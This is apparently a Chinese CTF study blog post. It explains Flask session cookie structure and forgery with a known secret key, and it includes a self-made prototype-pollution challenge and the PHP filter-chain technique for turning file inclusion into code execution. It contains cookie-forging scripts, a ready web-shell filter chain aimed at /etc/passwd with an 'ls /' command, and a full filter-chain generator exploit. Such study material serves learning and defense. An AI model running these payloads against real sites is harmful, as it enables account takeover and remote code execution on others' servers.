# flask session伪造

参考:https://www.cnblogs.com/GTL-JU/p/16960460.html

https://paoka1.top/2022/05/28/Flask-的-SESSION-伪造/

在最近的几次比赛中都遇到了这个session,格式特别像JWT,没有了解过这个内容很可能混淆,所以这里学习一下

# flask的session结构

这里我们可以用flask搭建一个本地网站生成session:

from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/',methods=['GET'])
def set_session():
    name = request.args.get('name')
    session['name']=name
    return 'welcome %s' % name

if __name__ == '__main__':
    app.run(debug=True, port=8080)

我们将session单独拿出来看看:

eyJuYW1lIjoiWkxBUllZIn0.acnmwQ.vk4_UCfBIl-iNcvTpc60DAXYB7w

base64解码之后为{"name":"ZLARYY"}ry�B�8P'�"X�r��s�v�

由此我们可以直观地看到:flask的session格式一般是由base64加密的Session数据(经过了json、zlib压缩处理的字符串) . 时间戳 . 签名组成的。

时间戳:用来告诉服务端数据最后一次更新的时间,超过31天的会话,将会过期,变为无效会话;

签名:是利用Hmac算法,将session数据和时间戳加上secret_key加密而成的,用来保证数据没有被修改。

# 伪造session

那么伪造flask session的方法就很清晰了:与JWT伪造相同,我们需要知道SECRET_KEY。

需要用到的工具:https://github.com/noraj/flask-session-cookie-manager

这里我们已知SECRET_KEY是ZLARYY,那么我们利用这个工具尝试伪造一个session,在此之前我们把源码的内容稍微修改一下:

from flask import Flask, session, request

app = Flask(__name__)
app.secret_key = 'ZLARYY'

@app.route('/', methods=['GET'])
def index():
    if 'name' in request.args:
        name = request.args.get('name')
        session['name'] = name

    current_user = session.get('name')
    
    if current_user == 'admin':
        return 'flag is ZLARYY{Y0u_Ar3_f1a5k_SEs5l0n_m@s73r}'
    else:
        return f'Welcome, {current_user}'

if __name__ == '__main__':
    app.run(debug=True, port=8080)

这样就能验证我哦们的session是否伪造成功了

我们将生成的cookie替换浏览器上的cookie:

伪造成功

或者这里还有一个生成 cookie的python脚本:

from flask import Flask
from flask.sessions import SecureCookieSessionInterface

app = Flask(__name__)
app.secret_key = 'ZLARYY' 
fake_session = {'name': 'admin'}

# 直接调用本机 Flask 核心方法生成 Cookie
serializer = SecureCookieSessionInterface().get_signing_serializer(app)
cookie_data = serializer.dumps(fake_session)

# 兼容不同的 Flask 版本(有些版本生成的是 bytes,需要转成纯文本)
if isinstance(cookie_data, bytes):
    forged_cookie = cookie_data.decode('utf-8')
else:
    forged_cookie = cookie_data

print(f"伪造的Cookie:\n{forged_cookie}\n")

# 例题

# [NSSRound#13 Basic]flask?jwt?

这道题我们随便注册一个账号登录进去查看一下session:

session=.eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E

可以看到前面有一个.号,明显不符合我们刚才所说的session格式:如果 Session 的第一段以 . 开头,这意味着这串数据在Base64编码之前,先经过了zlib压缩。

我们用这串python脚本解码看看:

import base64
import zlib
import json

cookie = ".eJwlzksOwjAMANG7ZM3Cjh074TLI9UewbekKcXcqcYAZvU971J7Hs93f-5m39nhFu7cSWGLFNDZzDRQUA-Fl5AmqNBGgBnWFKDM2HJtAdwiymiRqqJ6MEzgBQjn6ul7KY2w8PTqNEYlluGSRO185rTmlryz3Lu2CnEfuf01v3x9dwi4O.acn3Cg.SyFOeYY5OCYZhH-tgdGmlpiYl-E"
# 1. 提取核心数据段 (按点分割后的第二个元素)
payload = cookie.split('.')[1] 
# 2. 补全 Base64 的 '=' 填充 (Padding)
# Base64 要求长度必须是 4 的倍数,Flask 默认会去掉末尾的 '=',我们得补回来
padding = '=' * (4 - (len(payload) % 4))
padded_payload = payload + padding
# 3. Base64 (URL-safe) 解码
compressed_data = base64.urlsafe_b64decode(padded_payload)
# 4. zlib 解压缩
json_bytes = zlib.decompress(compressed_data)
# 5. 转换为 JSON 字典并打印
parsed_data = json.loads(json_bytes.decode('utf-8'))
print("session内容:")
print(json.dumps(parsed_data, indent=4, ensure_ascii=False))

当Session里的数据比较多(比如存了复杂的字典或长字符串)时,Flask就会自动触发压缩机制

回到这道题,我们可以在一开始的忘记密码页面找到secret_key:

th3f1askisfunny

猜测admin的_user_id是1,执行:

python3 flask_session_cookie_manager3.py encode -s "th3f1askisfunny" -t "{'_fresh':True,'_id':'f6096af435bac7d1616a0649a3ce07738100f53270dfaa4a15b602c0d3af8367a17ce41804e00d74d294357455b48cd2355de1fa19693cc45b63988629efcc26','_user_id': '1'}"

最后替换到cookie中刷新界面点击拿flag就好了:

# python原型链污染与session伪造

学到这里联想到了之前存在的python原型链污染,结合起来可以出一道题:

from flask import Flask, request, session, jsonify, render_template_string
import os

app = Flask(__name__)
# 每次重启生成强随机密钥,防御“非预期解”
app.config['SECRET_KEY'] = os.urandom(32).hex()

HTML_PAGE = """
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>ZLARYY's User Center</title>
    <style>
        /* 默认亮色主题 */
        body.light { background-color: #f4f6f9; color: #333; transition: 0.5s; }
        .box.light { background: white; border: 1px solid #ddd; }
        
        /* 暗黑主题 */
        body.dark { background-color: #1a1a1a; color: #00ff00; transition: 0.5s; }
        .box.dark { background: #222; border: 1px solid #00ff00; box-shadow: 0 0 10px #00ff00; }
        
        body { font-family: 'Courier New', Courier, monospace; display: flex; justify-content: center; align-items: center; height: 100vh; margin: 0; }
        .container { text-align: center; padding: 40px; border-radius: 10px; width: 400px;}
        button { padding: 10px 20px; margin: 10px; cursor: pointer; border-radius: 5px; border: 1px solid #888; font-weight: bold; }
        .flag-btn { background-color: #e74c3c; color: white; border: none; margin-top: 30px;}
    </style>
</head>
<body class="light" id="page-body">
    <div class="container box light" id="content-box">
        <h2>👋 Welcome, <span id="role-text"><!--swig8--></span>!</h2>
        <p>You can customize your profile theme below.</p>
        
        <hr>
        <p>Theme Settings:</p>
        <button onclick="updateTheme('light')">☀️ Light Mode</button>
        <button onclick="updateTheme('dark')">🌙 Dark Mode</button>
        <br>
        
        <button class="flag-btn" onclick="getFlag()">🚩 Get Secret Flag</button>
    </div>

    <script>
        // 前端通过 Fetch API 发送 JSON 数据给后端
        function updateTheme(themeName) {
            fetch('/api/update_profile', {
                method: 'POST',
                headers: { 'Content-Type': 'application/json' },
                // 正常业务只会发送类似 {"theme": "dark"} 的数据
                body: JSON.stringify({ "theme": themeName })
            })
            .then(res => res.json())
            .then(data => {
                if(data.current_theme) {
                    // 动态切换前端 CSS 类名
                    document.getElementById('page-body').className = data.current_theme;
                    document.getElementById('content-box').className = "container box " + data.current_theme;
                    console.log("Profile updated:", data.msg);
                }
            });
        }

        // 尝试获取 Flag 的请求
        function getFlag() {
            fetch('/get_flag')
            .then(res => res.json())
            .then(data => {
                if(data.flag) {
                    alert("🎉 Success! " + data.flag);
                } else {
                    alert("❌ Error: " + data.error);
                }
            });
        }
    </script>
</body>
</html>
"""
class UserProfile:
    def __init__(self):
        self.theme = "light"
        self.language = "zh_CN"
        
current_profile = UserProfile()

def unsafe_merge(target, payload):
    for key, value in payload.items():
        if isinstance(target, dict):
            if isinstance(value, dict) and key in target:
                unsafe_merge(target[key], value)
            else:
                target[key] = value
        elif hasattr(target, key):
            if isinstance(value, dict):
                unsafe_merge(getattr(target, key), value)
            else:
                setattr(target, key, value)

@app.route('/', methods=['GET'])
def index():
    if not session.get('role'):
        session['role'] = 'guest'
    return render_template_string(HTML_PAGE, role=session.get('role'))

@app.route('/api/update_profile', methods=['POST'])
def update_profile():
    try:
        data = request.get_json()
        if not data:
            return jsonify({"error": "Invalid JSON"}), 400
            
        unsafe_merge(current_profile, data)
        
        return jsonify({
            "msg": "Theme synced successfully",
            "current_theme": current_profile.theme
        })
    except Exception as e:
        return jsonify({"error": str(e)}), 500

@app.route('/get_flag', methods=['GET'])
def get_flag():
    if session.get('role') == 'admin':
        return jsonify({"flag": "ZLARYY{Th3m3_Sw1tch_L3ads_T0_R00t}"})
    else:
        return jsonify({"error": "Access Denied. You are not admin!"}), 403

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000, debug=False)

这道题的思路是通过切换主题去尝试污染SECRET_KEY然后去伪造session,试试通过Get Secret Key拿到flag吧

# filter-chain

这种利用姿势源自于漏洞CVE-2024-2961,本质上是实现从本地文件包含再到远程代码执行。

参考:https://err0r233.github.io/posts/28510.html

https://cloud.tencent.com/developer/article/2287108

# 一些常见的filter(过滤器)

convert.base64-encode:执行base64加密处理

convert.base64-decode:执行base64解密

string.lower:将字符串转为小写

string.upper:将字符串转为大写

convert.iconv.X.Y:将字符串从X编码转换为Y编码形式

部分过滤器在之前写文件包含的exit死亡绕过的时候就已经提到过了,这里提一点进阶的内容:

convert.base664-decode有一个极其宽容的特性,当对字符串进行base64解码操作的时候,遇到不属于base64(a-z,A-Z,0-9,+/)字母表的内容,就会直接无视并丢弃,比如:

ZLA($@!RY*^Y66

对这串字符串进行base64解码操作之后再次base64编码得到的结果

可以看到就是去除了特殊字符得到的结果

其实真正构造出payload的部分是靠iconv过滤器,比如将字符串从UTF-8转换为CSISO2022KR:

php://filter/convert.iconv.UTF8.CSISO2022KR/resource=data://text/plain,ZLARYY66

可以看到在我们的字符串前面加上了一个不可见字符和$)C,这样再经过一次base64解码和base64编码就会看到我们硬生生在字符串前面加上了一个字符C:

php://filter/read=convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode/resource=data://text/plain,ZLARYY66

同理,我们利用其他的iconv过滤器就能构造出其他的字符,而文件包含是可以配合上RCE的:

php://filter/resource=data://text/plain,<?php system('ls /');?>

那么我们就可以尝试通过过滤器链构造出一段php代码添加在最后查询的文件前面,比如:

php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.IEC_P271.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.EUCTW|convert.iconv.L4.UTF8|convert.iconv.866.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L3.T.61|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UJIS|convert.iconv.852.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.CP1256.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.851.UTF8|convert.iconv.L7.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.CP1133.IBM932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.851.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L7.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.MAC.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.ISO-IR-111.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.ISO6937.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.SJIS.GBK|convert.iconv.L10.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.857.SHIFTJISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=/etc/passwd&0=ls /

这一串过滤器链产生的是<?=`$_GET['0']`?>这段php代码

# EXP

这里给出之前提到参考文章中的一个大佬的脚本:

import argparse
import base64
import re

# - Useful infos -
# https://book.hacktricks.xyz/pentesting-web/file-inclusion/lfi2rce-via-php-filters
# https://github.com/wupco/PHP_INCLUDE_TO_SHELL_CHAR_DICT
# https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d

# No need to guess a valid filename anymore
file_to_use = "php://temp"

conversions = {
    '0': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UCS2.UTF8|convert.iconv.8859_3.UCS2',
    '1': 'convert.iconv.ISO88597.UTF16|convert.iconv.RK1048.UCS-4LE|convert.iconv.UTF32.CP1167|convert.iconv.CP9066.CSUCS4',
    '2': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP949.UTF32BE|convert.iconv.ISO_69372.CSIBM921',
    '3': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE',
    '4': 'convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE',
    '5': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.8859_3.UCS2',
    '6': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.CSIBM943.UCS4|convert.iconv.IBM866.UCS-2',
    '7': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.iconv.ISO-IR-103.850|convert.iconv.PT154.UCS4',
    '8': 'convert.iconv.ISO2022KR.UTF16|convert.iconv.L6.UCS2',
    '9': 'convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB',
    'A': 'convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213',
    'a': 'convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE',
    'B': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000',
    'b': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-2.OSF00030010|convert.iconv.CSIBM1008.UTF32BE',
    'C': 'convert.iconv.UTF8.CSISO2022KR',
    'c': 'convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2',
    'D': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213',
    'd': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5',
    'E': 'convert.iconv.IBM860.UTF16|convert.iconv.ISO-IR-143.ISO2022CNEXT',
    'e': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UTF16.EUC-JP-MS|convert.iconv.ISO-8859-1.ISO_6937',
    'F': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB',
    'f': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213',
    'g': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8',
    'G': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90',
    'H': 'convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213',
    'h': 'convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE',
    'I': 'convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213',
    'i': 'convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000',
    'J': 'convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4',
    'j': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16',
    'K': 'convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE',
    'k': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2',
    'L': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC',
    'l': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE',
    'M':'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4|convert.iconv.UTF16BE.866|convert.iconv.MACUKRAINIAN.WCHAR_T',
    'm':'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.CP1163.CSA_T500|convert.iconv.UCS-2.MSCP949',
    'N': 'convert.iconv.CP869.UTF-32|convert.iconv.MACUK.UCS4',
    'n': 'convert.iconv.ISO88594.UTF16|convert.iconv.IBM5347.UCS4|convert.iconv.UTF32BE.MS936|convert.iconv.OSF00010004.T.61',
    'O': 'convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775',
    'o': 'convert.iconv.JS.UNICODE|convert.iconv.L4.UCS2|convert.iconv.UCS-4LE.OSF05010001|convert.iconv.IBM912.UTF-16LE',
    'P': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB',
    'p': 'convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4',
    'q': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.GBK.CP932|convert.iconv.BIG5.UCS2',
    'Q': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2',
    'R': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.iconv.SJIS.EUCJP-WIN|convert.iconv.L10.UCS4',
    'r': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.ISO-IR-99.UCS-2BE|convert.iconv.L4.OSF00010101',
    'S': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.SJIS',
    's': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90',
    'T': 'convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500.L4|convert.iconv.ISO_8859-2.ISO-IR-103',
    't': 'convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS',
    'U': 'convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943',
    'u': 'convert.iconv.CP1162.UTF32|convert.iconv.L4.T.61',
    'V': 'convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB',
    'v': 'convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2',
    'W': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936',
    'w': 'convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE',
    'X': 'convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932',
    'x': 'convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS',
    'Y': 'convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361',
    'y': 'convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT',
    'Z': 'convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16',
    'z': 'convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937',
    '/': 'convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4',
    '+': 'convert.iconv.UTF8.UTF16|convert.iconv.WINDOWS-1258.UTF32LE|convert.iconv.ISIRI3342.ISO-IR-157',
    '=': ''
}

def generate_filter_chain(chain, debug_base64 = False):

    encoded_chain = chain
    # generate some garbage base64
    filters = "convert.iconv.UTF8.CSISO2022KR|"
    filters += "convert.base64-encode|"
    # make sure to get rid of any equal signs in both the string we just generated and the rest of the file
    filters += "convert.iconv.UTF8.UTF7|"


    for c in encoded_chain[::-1]:
        filters += conversions[c] + "|"
        # decode and reencode to get rid of everything that isn't valid base64
        filters += "convert.base64-decode|"
        filters += "convert.base64-encode|"
        # get rid of equal signs
        filters += "convert.iconv.UTF8.UTF7|"
    if not debug_base64:
        # don't add the decode while debugging chains
        filters += "convert.base64-decode"

    final_payload = f"php://filter/{filters}/resource={file_to_use}"
    return final_payload

def main():

    # Parsing command line arguments
    parser = argparse.ArgumentParser(description="PHP filter chain generator.")

    parser.add_argument("--chain", help="Content you want to generate. (you will maybe need to pad with spaces for your payload to work)", required=False)
    parser.add_argument("--rawbase64", help="The base64 value you want to test, the chain will be printed as base64 by PHP, useful to debug.", required=False)
    args = parser.parse_args()
    if args.chain is not None:
        chain = args.chain.encode('utf-8')
        base64_value = base64.b64encode(chain).decode('utf-8').replace("=", "")
        chain = generate_filter_chain(base64_value)
        print("[+] The following gadget chain will generate the following code : {} (base64 value: {})".format(args.chain, base64_value))
        print(chain)
    if args.rawbase64 is not None:
        rawbase64 = args.rawbase64.replace("=", "")
        match = re.search("^([A-Za-z0-9+/])*$", rawbase64)
        if (match):
            chain = generate_filter_chain(rawbase64, True)
            print(chain)
        else:
            print ("[-] Base64 string required.")
            exit(1)

if __name__ == "__main__":
    main()

用法是python3 php_filter_generator.py --chain 'xxx'